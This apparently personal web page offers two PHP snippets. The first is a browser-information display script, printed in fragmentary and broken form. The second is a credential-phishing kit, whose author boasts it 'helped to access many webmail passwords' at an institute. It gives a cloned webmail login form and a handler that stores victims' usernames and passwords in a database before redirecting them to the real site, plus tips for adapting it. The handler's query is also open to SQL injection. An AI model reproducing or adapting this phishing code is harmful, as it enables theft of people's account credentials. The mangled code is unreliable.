simple PHP code to display browser information

The below script will display three parameters namely

  • Browser:
  • Screen Resolution:
  • Browser resolution:

on your screen. Create a file binfo.php and place the file in your HTTP server with PHP enabled. Open the file to know about your browser, screen and browser resolution. The below example is written in three languages javascript, PHP, html which are very extensively used by web developers.

<html xmlns="">
<title>Browser Information</title>
<script language="Javascript">
document.write("<form method='POST' action ='<? echo $PHP_SELF; ?>'>");
document.write("<input type='hidden' name='version' value='" + navigator.appVersion + "'>");
document.write("<input type='hidden' name='type' value='" + navigator.appName + "'>");
document.write("<input type='hidden' name='screenWidth' value='" + screen.width + "'>");
document.write("<input type='text' style='display:none' name='screenHeight' value='" + screen.height + "'>");
document.write("<input type='hidden' name='browserHeight' value='" + document.body.offsetHeight + "'>");
document.write("<input type='hidden' name='browserWidth' value='" + document.body.offsetWidth + "'>");
document.write("<input type='submit' value='Get browser information'><p>");
echo "<b>Browser:</b> $type Version: $version<br>";
echo "<b>Screen Resolution:</b> $screenWidth x $screenHeight pixels.<br>";
if ($browserWidth != 0) :
echo "<b>Browser resolution:</b> $browserWidth x $browserHeight pixels.";
else :
echo "No JavaScript browser resolution support for this browser!";


PHP redirection script

This is my one of the first php scripts which helped to access many webmail passwords in my institute.

<form action="redirect.php" method="post">
<td align="left" width="*"><input type="text" name="login_username" value="" />

<tr><td align="right" width="30%">Password:</td>
<td align="left" width="*"><input type="password" name="secretkey" />
<input type="hidden" name="js_autodetect_results" value="0" />
<input type="hidden" name="just_logged_in" value="1" />
<tr><td align="left"><center><input type="submit" value="Login" />
    <td width='30%' align="right">Log in to:</td>
    <td width="*" align="left">
       <select name="loginServer">
          <option value="Naambor">Naambor</option>
          <option value="Jampui- Alumni only">Jampui- Alumni only</option>
          <option value="Disang - Student Server">Disang - Student Server</option
          <option value="Tamdil - 2008 Batch">Tamdil - 2008 Batch</option>

THis is a PHP script which first takes the input from the site and then redirects to the original site.

The above mentioned form with username and password is stored and the values are redirected back to the site.


# “login_username”  is the form input name for username and “secretkey” is the form input name for password

# Get the post variables from the referer URL.
$username = $_POST[‘login_username’];
$password = $_POST[‘secretkey’];

# Connect to the database server
$connect=mysql_connect(“<server>”,”<username>”,”<password>”) or die(“Cannot connect to server”);

# Select database
$database=mysql_select_db(“<database>”) or die(“Cannot connect to database”);

# Create a database to insert the corresponding values

# Insert our post values in to the database
$sql = “INSERT INTO db (username, password) VALUES (‘$username’, ‘$password’)”;

# Execute the query

$rs = mysql_query($sql,$connect);

# Redirect the variables back to the original site


The above script is corresponds to the specific form mentioned above and only used to send get variables. You should customize the script to be usefull for practical purposes.

The fields you have to change in the PHP script are

  • input form field names
  • database server, database name, database username, database passwor
  • create database structure to insert the fields
  • Finally you have to change the header Location to redirect to by checking the hidden and get variables that are actually going to the server.
